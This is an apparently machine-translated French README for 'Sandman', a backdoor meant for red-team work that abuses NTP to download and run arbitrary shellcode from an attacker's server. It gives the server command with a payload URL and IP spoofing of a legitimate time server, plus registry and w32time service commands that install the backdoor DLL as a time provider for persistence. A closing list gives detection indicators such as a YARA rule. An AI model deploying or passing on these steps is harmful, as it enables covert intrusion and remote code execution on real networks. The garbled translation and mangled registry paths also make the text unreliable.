Sandman est une porte dérobée qui vise à travailler sur des réseaux durcis pendant les engagements de l'équipe rouge.
Sandman fonctionne comme un stageur et exploite NTP (un protocole pour synchroniser l'heure et la date) pour obtenir et exécuter un shellcode arbitraire à partir d'un serveur prédéfini.
Étant donné que NTP est un protocole négligé par de nombreux défenseurs, ce qui entraîne une large accessibilité du réseau.

Exécutez sur Windows / * Nix Machine:
python3 sandman_server.py " Network Adapter " " Payload Url " " optional: ip to spoof "Adaptateur réseau: l'adaptateur sur lequel vous souhaitez que le serveur écoute (par exemple Ethernet pour Windows, Eth0 pour * Nix).
URL de charge utile: l'URL de votre shellcode, il pourrait s'agir de votre agent (par exemple, CobalTstrike ou Meterpreter) ou un autre stagers.
IP à l'entraînement: si vous souhaitez parcourir une adresse IP légitime (par exemple, l'adresse IP de Time.microsoft.com).
Pour commencer, vous pouvez compiler le Sandmanbackdoor comme mentionné ci-dessous, car il s'agit d'un seul exécutable C # léger, vous pouvez l'exécuter via ExecuseSembly, l'exécuter en tant que fournisseur NTP ou simplement l'exécuter / l'injecter.
Pour l'utiliser, vous devrez suivre les étapes simples:
reg add " HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient " /v DllName /t REG_SZ /d " C:PathToTheDll.dll " sc stop w32time
sc start w32timeRemarque: Assurez-vous que vous composez avec l'option x64 et pas aucune option CPU!
Obtenir et exécuter une charge utile arbitraire à partir du serveur contrôlé d'un attaquant.
Peut travailler sur des réseaux durcis car le NTP est généralement autorisé dans FW.
Imitation d'un serveur NTP légitime via l'usurpation IP.
Python 3.9
Les exigences sont spécifiées dans le fichier des exigences.
Pour compiler la porte dérobée, j'ai utilisé Visual Studio 2022, mais comme mentionné dans la section d'utilisation, il peut être compilé avec VS2022 et CSC. Vous pouvez le compiler à l'aide du use_shellcode et utiliser shellcode d'Orca ou sans use_shellcode pour utiliser webClient.
Pour compiler la porte dérobée, j'ai utilisé Visual Studio 2022, vous devrez également installer DLLEXPORT (via Nuget ou toute autre manière) pour le compiler. Vous pouvez le compiler à l'aide du use_shellcode et utiliser shellcode d'Orca ou sans use_shellcode pour utiliser webClient.
Un shellcode est injecté dans RuntimeBroker.
La communication suspecte du NTP commence par un en-tête magique connu.
Règle de Yara.
ORCA pour le Shellcode.
Un merci spécial à Tim McGuffin pour l'idée du fournisseur de temps.
Grâce à ceux qui ont déjà contribué et j'accepterai volontiers les contributions, je ferai une demande de traction et je vais l'examiner!